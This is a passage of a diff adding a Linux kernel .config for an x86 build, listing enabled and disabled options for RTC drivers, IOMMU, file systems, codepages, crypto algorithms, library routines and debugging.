CONFIG_USB_ROLE_SWITCH is not set +# CONFIG_MMC is not set +# CONFIG_SCSI_UFSHCD is not set +# CONFIG_MEMSTICK is not set +# CONFIG_NEW_LEDS is not set +# CONFIG_ACCESSIBILITY is not set +# CONFIG_INFINIBAND is not set +CONFIG_EDAC_ATOMIC_SCRUB=y +CONFIG_EDAC_SUPPORT=y +CONFIG_RTC_LIB=y +CONFIG_RTC_MC146818_LIB=y +CONFIG_RTC_CLASS=y +CONFIG_RTC_HCTOSYS=y +CONFIG_RTC_HCTOSYS_DEVICE="rtc0" +CONFIG_RTC_SYSTOHC=y +CONFIG_RTC_SYSTOHC_DEVICE="rtc0" +# CONFIG_RTC_DEBUG is not set +CONFIG_RTC_NVMEM=y + +# +# RTC interfaces +# +CONFIG_RTC_INTF_SYSFS=y +CONFIG_RTC_INTF_PROC=y +CONFIG_RTC_INTF_DEV=y +# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set +# CONFIG_RTC_DRV_TEST is not set + +# +# I2C RTC drivers +# + +# +# SPI RTC drivers +# + +# +# SPI and I2C RTC drivers +# + +# +# Platform RTC drivers +# +CONFIG_RTC_DRV_CMOS=y +# CONFIG_RTC_DRV_DS1286 is not set +# CONFIG_RTC_DRV_DS1511 is not set +# CONFIG_RTC_DRV_DS1553 is not set +# CONFIG_RTC_DRV_DS1685_FAMILY is not set +# CONFIG_RTC_DRV_DS1742 is not set +# CONFIG_RTC_DRV_DS2404 is not set +# CONFIG_RTC_DRV_STK17TA8 is not set +# CONFIG_RTC_DRV_M48T86 is not set +# CONFIG_RTC_DRV_M48T35 is not set +# CONFIG_RTC_DRV_M48T59 is not set +# CONFIG_RTC_DRV_MSM6242 is not set +# CONFIG_RTC_DRV_BQ4802 is not set +# CONFIG_RTC_DRV_RP5C01 is not set +# CONFIG_RTC_DRV_V3020 is not set + +# +# on-CPU RTC drivers +# +# CONFIG_RTC_DRV_FTRTC010 is not set + +# +# HID Sensor RTC drivers +# +# CONFIG_RTC_DRV_GOLDFISH is not set +# CONFIG_DMADEVICES is not set + +# +# DMABUF options +# +CONFIG_SYNC_FILE=y +# CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set +# CONFIG_DMABUF_SELFTESTS is not set +# CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set +# end of DMABUF options + +# CONFIG_AUXDISPLAY is not set +# CONFIG_UIO is not set +# CONFIG_VFIO is not set +# CONFIG_VIRT_DRIVERS is not set +# CONFIG_VIRTIO_MENU is not set +# CONFIG_VDPA is not set +# CONFIG_VHOST_MENU is not set + +# +# Microsoft Hyper-V guest support +# +# end of Microsoft Hyper-V guest support + +# CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set +# CONFIG_STAGING is not set +# CONFIG_CHROME_PLATFORMS is not set +# CONFIG_MELLANOX_PLATFORM is not set +# CONFIG_SURFACE_PLATFORMS is not set +CONFIG_X86_PLATFORM_DEVICES=y +# CONFIG_ACPI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_TURBO_MAX_3 is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set +# CONFIG_P2SB is not set +CONFIG_HAVE_CLK=y +CONFIG_HAVE_CLK_PREPARE=y +CONFIG_COMMON_CLK=y +# CONFIG_XILINX_VCU is not set +# CONFIG_HWSPINLOCK is not set + +# +# Clock Source drivers +# +CONFIG_CLKEVT_I8253=y +CONFIG_I8253_LOCK=y +CONFIG_CLKBLD_I8253=y +# end of Clock Source drivers + +CONFIG_MAILBOX=y +CONFIG_PCC=y +# CONFIG_ALTERA_MBOX is not set +CONFIG_IOMMU_IOVA=y +CONFIG_IOASID=y +CONFIG_IOMMU_API=y +CONFIG_IOMMU_SUPPORT=y + +# +# Generic IOMMU Pagetable Support +# +# end of Generic IOMMU Pagetable Support + +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y +# CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set +CONFIG_IOMMU_DMA=y +CONFIG_IOMMU_SVA=y +# CONFIG_AMD_IOMMU is not set +CONFIG_DMAR_TABLE=y +CONFIG_INTEL_IOMMU=y +CONFIG_INTEL_IOMMU_SVM=y +CONFIG_INTEL_IOMMU_DEFAULT_ON=y +CONFIG_INTEL_IOMMU_FLOPPY_WA=y +# CONFIG_INTEL_IOMMU_SCALABLE_MODE_DEFAULT_ON is not set +# CONFIG_IRQ_REMAP is not set + +# +# Remoteproc drivers +# +# CONFIG_REMOTEPROC is not set +# end of Remoteproc drivers + +# +# Rpmsg drivers +# +# CONFIG_RPMSG_QCOM_GLINK_RPM is not set +# CONFIG_RPMSG_VIRTIO is not set +# end of Rpmsg drivers + +# CONFIG_SOUNDWIRE is not set + +# +# SOC (System On Chip) specific Drivers +# + +# +# Amlogic SoC drivers +# +# end of Amlogic SoC drivers + +# +# Broadcom SoC drivers +# +# end of Broadcom SoC drivers + +# +# NXP/Freescale QorIQ SoC drivers +# +# end of NXP/Freescale QorIQ SoC drivers + +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + +# +# i.MX SoC drivers +# +# end of i.MX SoC drivers + +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + +# +# Qualcomm SoC drivers +# +# end of Qualcomm SoC drivers + +# CONFIG_SOC_TI is not set + +# +# Xilinx SoC drivers +# +# end of Xilinx SoC drivers +# end of SOC (System On Chip) specific Drivers + +# CONFIG_PM_DEVFREQ is not set +# CONFIG_EXTCON is not set +# CONFIG_MEMORY is not set +# CONFIG_IIO is not set +# CONFIG_NTB is not set +# CONFIG_PWM is not set + +# +# IRQ chip support +# +# end of IRQ chip support + +# CONFIG_IPACK_BUS is not set +# CONFIG_RESET_CONTROLLER is not set + +# +# PHY Subsystem +# +CONFIG_GENERIC_PHY=y +# CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# +# CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + +# CONFIG_PHY_PXA_28NM_HSIC is not set +# CONFIG_PHY_PXA_28NM_USB2 is not set +# CONFIG_PHY_INTEL_LGM_EMMC is not set +# end of PHY Subsystem + +# CONFIG_POWERCAP is not set +# CONFIG_MCB is not set + +# +# Performance monitor support +# +# end of Performance monitor support + +# CONFIG_RAS is not set +# CONFIG_USB4 is not set + +# +# Android +# +# CONFIG_ANDROID_BINDER_IPC is not set +# end of Android + +CONFIG_LIBNVDIMM=y +# CONFIG_BLK_DEV_PMEM is not set +# CONFIG_BTT is not set +# CONFIG_DAX is not set +CONFIG_NVMEM=y +# CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_RMEM is not set + +# +# HW tracing support +# +# CONFIG_STM is not set +# CONFIG_INTEL_TH is not set +# end of HW tracing support + +# CONFIG_FPGA is not set +# CONFIG_SIOX is not set +# CONFIG_SLIMBUS is not set +# CONFIG_INTERCONNECT is not set +# CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set +# end of Device Drivers + +# +# File systems +# +CONFIG_DCACHE_WORD_ACCESS=y +# CONFIG_VALIDATE_FS_PARSER is not set +CONFIG_FS_IOMAP=y +# CONFIG_EXT2_FS is not set +# CONFIG_EXT3_FS is not set +CONFIG_EXT4_FS=y +CONFIG_EXT4_USE_FOR_EXT2=y +# CONFIG_EXT4_FS_POSIX_ACL is not set +# CONFIG_EXT4_FS_SECURITY is not set +# CONFIG_EXT4_DEBUG is not set +CONFIG_JBD2=y +# CONFIG_JBD2_DEBUG is not set +CONFIG_FS_MBCACHE=y +# CONFIG_REISERFS_FS is not set +# CONFIG_JFS_FS is not set +# CONFIG_XFS_FS is not set +# CONFIG_GFS2_FS is not set +# CONFIG_BTRFS_FS is not set +# CONFIG_NILFS2_FS is not set +# CONFIG_F2FS_FS is not set +# CONFIG_EXPORTFS_BLOCK_OPS is not set +CONFIG_FILE_LOCKING=y +# CONFIG_FS_ENCRYPTION is not set +# CONFIG_FS_VERITY is not set +# CONFIG_DNOTIFY is not set +# CONFIG_INOTIFY_USER is not set +# CONFIG_FANOTIFY is not set +# CONFIG_QUOTA is not set +# CONFIG_AUTOFS4_FS is not set +# CONFIG_AUTOFS_FS is not set +# CONFIG_FUSE_FS is not set +# CONFIG_OVERLAY_FS is not set + +# +# Caches +# +# CONFIG_FSCACHE is not set +# end of Caches + +# +# CD-ROM/DVD Filesystems +# +CONFIG_ISO9660_FS=y +CONFIG_JOLIET=y +# CONFIG_ZISOFS is not set +# CONFIG_UDF_FS is not set +# end of CD-ROM/DVD Filesystems + +# +# DOS/FAT/EXFAT/NT Filesystems +# +CONFIG_FAT_FS=y +CONFIG_MSDOS_FS=y +CONFIG_VFAT_FS=y +CONFIG_FAT_DEFAULT_CODEPAGE=437 +CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" +# CONFIG_FAT_DEFAULT_UTF8 is not set +CONFIG_EXFAT_FS=y +CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" +# CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set +# end of DOS/FAT/EXFAT/NT Filesystems + +# +# Pseudo filesystems +# +CONFIG_PROC_FS=y +# CONFIG_PROC_KCORE is not set +CONFIG_PROC_SYSCTL=y +# CONFIG_PROC_PAGE_MONITOR is not set +# CONFIG_PROC_CHILDREN is not set +CONFIG_PROC_PID_ARCH_STATUS=y +CONFIG_KERNFS=y +CONFIG_SYSFS=y +# CONFIG_TMPFS is not set +# CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y +CONFIG_ARCH_HAS_GIGANTIC_PAGE=y +# CONFIG_CONFIGFS_FS is not set +# CONFIG_EFIVAR_FS is not set +# end of Pseudo filesystems + +# CONFIG_MISC_FILESYSTEMS is not set +CONFIG_NETWORK_FILESYSTEMS=y +# CONFIG_CEPH_FS is not set +# CONFIG_CIFS is not set +# CONFIG_CODA_FS is not set +# CONFIG_AFS_FS is not set +CONFIG_NLS=y +CONFIG_NLS_DEFAULT="utf8" +CONFIG_NLS_CODEPAGE_437=y +# CONFIG_NLS_CODEPAGE_737 is not set +# CONFIG_NLS_CODEPAGE_775 is not set +# CONFIG_NLS_CODEPAGE_850 is not set +# CONFIG_NLS_CODEPAGE_852 is not set +# CONFIG_NLS_CODEPAGE_855 is not set +# CONFIG_NLS_CODEPAGE_857 is not set +# CONFIG_NLS_CODEPAGE_860 is not set +# CONFIG_NLS_CODEPAGE_861 is not set +# CONFIG_NLS_CODEPAGE_862 is not set +# CONFIG_NLS_CODEPAGE_863 is not set +# CONFIG_NLS_CODEPAGE_864 is not set +# CONFIG_NLS_CODEPAGE_865 is not set +# CONFIG_NLS_CODEPAGE_866 is not set +# CONFIG_NLS_CODEPAGE_869 is not set +# CONFIG_NLS_CODEPAGE_936 is not set +# CONFIG_NLS_CODEPAGE_950 is not set +# CONFIG_NLS_CODEPAGE_932 is not set +# CONFIG_NLS_CODEPAGE_949 is not set +# CONFIG_NLS_CODEPAGE_874 is not set +# CONFIG_NLS_ISO8859_8 is not set +# CONFIG_NLS_CODEPAGE_1250 is not set +# CONFIG_NLS_CODEPAGE_1251 is not set +# CONFIG_NLS_ASCII is not set +CONFIG_NLS_ISO8859_1=y +# CONFIG_NLS_ISO8859_2 is not set +# CONFIG_NLS_ISO8859_3 is not set +# CONFIG_NLS_ISO8859_4 is not set +# CONFIG_NLS_ISO8859_5 is not set +# CONFIG_NLS_ISO8859_6 is not set +# CONFIG_NLS_ISO8859_7 is not set +# CONFIG_NLS_ISO8859_9 is not set +# CONFIG_NLS_ISO8859_13 is not set +# CONFIG_NLS_ISO8859_14 is not set +# CONFIG_NLS_ISO8859_15 is not set +# CONFIG_NLS_KOI8_R is not set +# CONFIG_NLS_KOI8_U is not set +# CONFIG_NLS_MAC_ROMAN is not set +# CONFIG_NLS_MAC_CELTIC is not set +# CONFIG_NLS_MAC_CENTEURO is not set +# CONFIG_NLS_MAC_CROATIAN is not set +# CONFIG_NLS_MAC_CYRILLIC is not set +# CONFIG_NLS_MAC_GAELIC is not set +# CONFIG_NLS_MAC_GREEK is not set +# CONFIG_NLS_MAC_ICELAND is not set +# CONFIG_NLS_MAC_INUIT is not set +# CONFIG_NLS_MAC_ROMANIAN is not set +# CONFIG_NLS_MAC_TURKISH is not set +CONFIG_NLS_UTF8=y +# CONFIG_UNICODE is not set +CONFIG_IO_WQ=y +# end of File systems + +# +# Security options +# +# CONFIG_KEYS is not set +# CONFIG_SECURITY_DMESG_RESTRICT is not set +CONFIG_SECURITYFS=y +# CONFIG_INTEL_TXT is not set +CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y +CONFIG_HARDENED_USERCOPY=y +# CONFIG_FORTIFY_SOURCE is not set +# CONFIG_STATIC_USERMODEHELPER is not set +# CONFIG_IMA_SECURE_AND_OR_TRUSTED_BOOT is not set +CONFIG_DEFAULT_SECURITY_DAC=y +CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" + +# +# Kernel hardening options +# + +# +# Memory initialization +# +CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set +# CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set +# CONFIG_INIT_ON_FREE_DEFAULT_ON is not set +# end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set +# end of Kernel hardening options +# end of Security options + +CONFIG_CRYPTO=y + +# +# Crypto core or helper +# +CONFIG_CRYPTO_ALGAPI=y +CONFIG_CRYPTO_ALGAPI2=y +CONFIG_CRYPTO_AEAD=y +CONFIG_CRYPTO_AEAD2=y +CONFIG_CRYPTO_SKCIPHER=y +CONFIG_CRYPTO_SKCIPHER2=y +CONFIG_CRYPTO_HASH=y +CONFIG_CRYPTO_HASH2=y +CONFIG_CRYPTO_RNG=y +CONFIG_CRYPTO_RNG2=y +CONFIG_CRYPTO_AKCIPHER2=y +CONFIG_CRYPTO_KPP2=y +CONFIG_CRYPTO_ACOMP2=y +CONFIG_CRYPTO_MANAGER=y +CONFIG_CRYPTO_MANAGER2=y +CONFIG_CRYPTO_USER=y +CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y +CONFIG_CRYPTO_NULL=y +CONFIG_CRYPTO_NULL2=y +# CONFIG_CRYPTO_PCRYPT is not set +CONFIG_CRYPTO_CRYPTD=y +CONFIG_CRYPTO_AUTHENC=y +# CONFIG_CRYPTO_TEST is not set +CONFIG_CRYPTO_SIMD=y +# end of Crypto core or helper + +# +# Public-key cryptography +# +# CONFIG_CRYPTO_RSA is not set +# CONFIG_CRYPTO_DH is not set +# CONFIG_CRYPTO_ECDH is not set +# CONFIG_CRYPTO_ECDSA is not set +# CONFIG_CRYPTO_ECRDSA is not set +# CONFIG_CRYPTO_SM2 is not set +# CONFIG_CRYPTO_CURVE25519 is not set +# end of Public-key cryptography + +# +# Block ciphers +# +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_TI is not set +# CONFIG_CRYPTO_ARIA is not set +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +# CONFIG_CRYPTO_DES is not set +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SM4_GENERIC is not set +# CONFIG_CRYPTO_TWOFISH is not set +# end of Block ciphers + +# +# Length-preserving ciphers and modes +# +# CONFIG_CRYPTO_ADIANTUM is not set +# CONFIG_CRYPTO_CHACHA20 is not set +CONFIG_CRYPTO_CBC=y +# CONFIG_CRYPTO_CFB is not set +# CONFIG_CRYPTO_CTR is not set +# CONFIG_CRYPTO_CTS is not set +CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_HCTR2 is not set +# CONFIG_CRYPTO_KEYWRAP is not set +# CONFIG_CRYPTO_LRW is not set +# CONFIG_CRYPTO_OFB is not set +# CONFIG_CRYPTO_PCBC is not set +CONFIG_CRYPTO_XTS=y +# end of Length-preserving ciphers and modes + +# +# AEAD (authenticated encryption with associated data) ciphers +# +# CONFIG_CRYPTO_AEGIS128 is not set +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set +# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_ESSIV=y +# end of AEAD (authenticated encryption with associated data) ciphers + +# +# Hashes, digests, and MACs +# +# CONFIG_CRYPTO_BLAKE2B is not set +# CONFIG_CRYPTO_CMAC is not set +# CONFIG_CRYPTO_GHASH is not set +CONFIG_CRYPTO_HMAC=y +# CONFIG_CRYPTO_MD4 is not set +CONFIG_CRYPTO_MD5=y +# CONFIG_CRYPTO_MICHAEL_MIC is not set +# CONFIG_CRYPTO_POLY1305 is not set +# CONFIG_CRYPTO_RMD160 is not set +CONFIG_CRYPTO_SHA1=y +CONFIG_CRYPTO_SHA256=y +CONFIG_CRYPTO_SHA512=y +# CONFIG_CRYPTO_SHA3 is not set +# CONFIG_CRYPTO_SM3_GENERIC is not set +# CONFIG_CRYPTO_STREEBOG is not set +# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_WP512 is not set +# CONFIG_CRYPTO_XCBC is not set +# CONFIG_CRYPTO_XXHASH is not set +# end of Hashes, digests, and MACs + +# +# CRCs (cyclic redundancy checks) +# +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set +# end of CRCs (cyclic redundancy checks) + +# +# Compression +# +# CONFIG_CRYPTO_DEFLATE is not set +# CONFIG_CRYPTO_LZO is not set +# CONFIG_CRYPTO_842 is not set +# CONFIG_CRYPTO_LZ4 is not set +# CONFIG_CRYPTO_LZ4HC is not set +# CONFIG_CRYPTO_ZSTD is not set +# end of Compression + +# +# Random number generation +# +# CONFIG_CRYPTO_ANSI_CPRNG is not set +# CONFIG_CRYPTO_DRBG_MENU is not set +# CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# +CONFIG_CRYPTO_USER_API=y +CONFIG_CRYPTO_USER_API_HASH=y +CONFIG_CRYPTO_USER_API_SKCIPHER=y +CONFIG_CRYPTO_USER_API_RNG=y +CONFIG_CRYPTO_USER_API_AEAD=y +# CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set +# CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + +CONFIG_CRYPTO_HASH_INFO=y + +# +# Accelerated Cryptographic Algorithms for CPU (x86) +# +# CONFIG_CRYPTO_CURVE25519_X86 is not set +CONFIG_CRYPTO_AES_NI_INTEL=y +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set +# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set +# CONFIG_CRYPTO_BLAKE2S_X86 is not set +# CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set +# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_SHA1_SSSE3=y +CONFIG_CRYPTO_SHA256_SSSE3=y +CONFIG_CRYPTO_SHA512_SSSE3=y +# CONFIG_CRYPTO_SM3_AVX_X86_64 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +CONFIG_CRYPTO_CRC32C_INTEL=y +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +# end of Accelerated Cryptographic Algorithms for CPU (x86) + +# CONFIG_CRYPTO_HW is not set + +# +# Certificates for signature checking +# +# end of Certificates for signature checking + +# +# Library routines +# +# CONFIG_PACKING is not set +CONFIG_BITREVERSE=y +CONFIG_GENERIC_STRNCPY_FROM_USER=y +CONFIG_GENERIC_STRNLEN_USER=y +CONFIG_GENERIC_NET_UTILS=y +# CONFIG_CORDIC is not set +# CONFIG_PRIME_NUMBERS is not set +CONFIG_RATIONAL=y +CONFIG_GENERIC_PCI_IOMAP=y +CONFIG_GENERIC_IOMAP=y +CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y +CONFIG_ARCH_HAS_FAST_MULTIPLIER=y +CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +# CONFIG_CRC_CCITT is not set +CONFIG_CRC16=y +# CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set +# CONFIG_CRC_ITU_T is not set +CONFIG_CRC32=y +# CONFIG_CRC32_SELFTEST is not set +CONFIG_CRC32_SLICEBY8=y +# CONFIG_CRC32_SLICEBY4 is not set +# CONFIG_CRC32_SARWATE is not set +# CONFIG_CRC32_BIT is not set +# CONFIG_CRC64 is not set +# CONFIG_CRC4 is not set +# CONFIG_CRC7 is not set +CONFIG_LIBCRC32C=y +# CONFIG_CRC8 is not set +# CONFIG_RANDOM32_SELFTEST is not set +CONFIG_XZ_DEC=y +CONFIG_XZ_DEC_X86=y +# CONFIG_XZ_DEC_POWERPC is not set +# CONFIG_XZ_DEC_IA64 is not set +# CONFIG_XZ_DEC_ARM is not set +# CONFIG_XZ_DEC_ARMTHUMB is not set +# CONFIG_XZ_DEC_SPARC is not set +# CONFIG_XZ_DEC_MICROLZMA is not set +CONFIG_XZ_DEC_BCJ=y +# CONFIG_XZ_DEC_TEST is not set +CONFIG_DECOMPRESS_XZ=y +CONFIG_GENERIC_ALLOCATOR=y +CONFIG_REED_SOLOMON=y +CONFIG_REED_SOLOMON_DEC8=y +CONFIG_INTERVAL_TREE=y +CONFIG_HAS_IOMEM=y +CONFIG_HAS_IOPORT_MAP=y +CONFIG_HAS_DMA=y +CONFIG_DMA_OPS=y +CONFIG_NEED_SG_DMA_LENGTH=y +CONFIG_NEED_DMA_MAP_STATE=y +CONFIG_ARCH_DMA_ADDR_T_64BIT=y +CONFIG_SWIOTLB=y +# CONFIG_DMA_API_DEBUG is not set +CONFIG_SGL_ALLOC=y +# CONFIG_FORCE_NR_CPUS is not set +CONFIG_CPU_RMAP=y +CONFIG_DQL=y +CONFIG_GLOB=y +# CONFIG_GLOB_SELFTEST is not set +CONFIG_NLATTR=y +# CONFIG_IRQ_POLL is not set +CONFIG_UCS2_STRING=y +CONFIG_HAVE_GENERIC_VDSO=y +CONFIG_GENERIC_GETTIMEOFDAY=y +CONFIG_GENERIC_VDSO_TIME_NS=y +CONFIG_FONT_SUPPORT=y +# CONFIG_FONTS is not set +CONFIG_FONT_8x8=y +CONFIG_FONT_8x16=y +CONFIG_SG_POOL=y +CONFIG_ARCH_HAS_PMEM_API=y +CONFIG_MEMREGION=y +CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y +CONFIG_ARCH_HAS_COPY_MC=y +CONFIG_ARCH_STACKWALK=y +CONFIG_SBITMAP=y +# end of Library routines + +# +# Kernel hacking +# + +# +# printk and dmesg options +# +CONFIG_PRINTK_TIME=y +# CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set +CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 +CONFIG_CONSOLE_LOGLEVEL_QUIET=4 +CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 +CONFIG_BOOT_PRINTK_DELAY=y +# CONFIG_DYNAMIC_DEBUG is not set +# CONFIG_DYNAMIC_DEBUG_CORE is not set +CONFIG_SYMBOLIC_ERRNAME=y +# CONFIG_DEBUG_BUGVERBOSE is not set +# end of printk and dmesg options + +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_MISC is not set + +# +# Compile-time checks and compiler options +# +CONFIG_AS_HAS_NON_CONST_LEB128=y +CONFIG_DEBUG_INFO_NONE=y +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +# CONFIG_DEBUG_INFO_DWARF4 is not set +# CONFIG_DEBUG_INFO_DWARF5 is not set +CONFIG_FRAME_WARN=1024 +# CONFIG_STRIP_ASM_SYMS is not set +# CONFIG_READABLE_ASM is not set +# CONFIG_HEADERS_INSTALL is not set +# CONFIG_DEBUG_SECTION_MISMATCH is not set +CONFIG_SECTION_MISMATCH_WARN_ONLY=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set +# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set +# end of Compile-time checks and compiler options + +# +# Generic Kernel Debugging Instruments +# +CONFIG_MAGIC_SYSRQ=y +CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x1 +CONFIG_MAGIC_SYSRQ_SERIAL=y +CONFIG_MAGIC_SYSRQ_SERIAL_SEQUENCE="" +# CONFIG_DEBUG_FS is not set +CONFIG_HAVE_ARCH_KGDB=y +# CONFIG_KGDB is not set +CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y +# CONFIG_UBSAN is not set +CONFIG_HAVE_ARCH_KCSAN=y +# end of Generic Kernel Debugging Instruments + +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging + +# +# Memory Debugging +# +# CONFIG_PAGE_EXTENSION is not set +# CONFIG_DEBUG_PAGEALLOC is not set +# CONFIG_SLUB_DEBUG is not set +# CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set +# CONFIG_PAGE_POISONING is not set +# CONFIG_DEBUG_RODATA_TEST is not set +CONFIG_ARCH_HAS_DEBUG_WX=y +# CONFIG_DEBUG_WX is not set +CONFIG_GENERIC_PTDUMP=y +# CONFIG_DEBUG_OBJECTS is not set 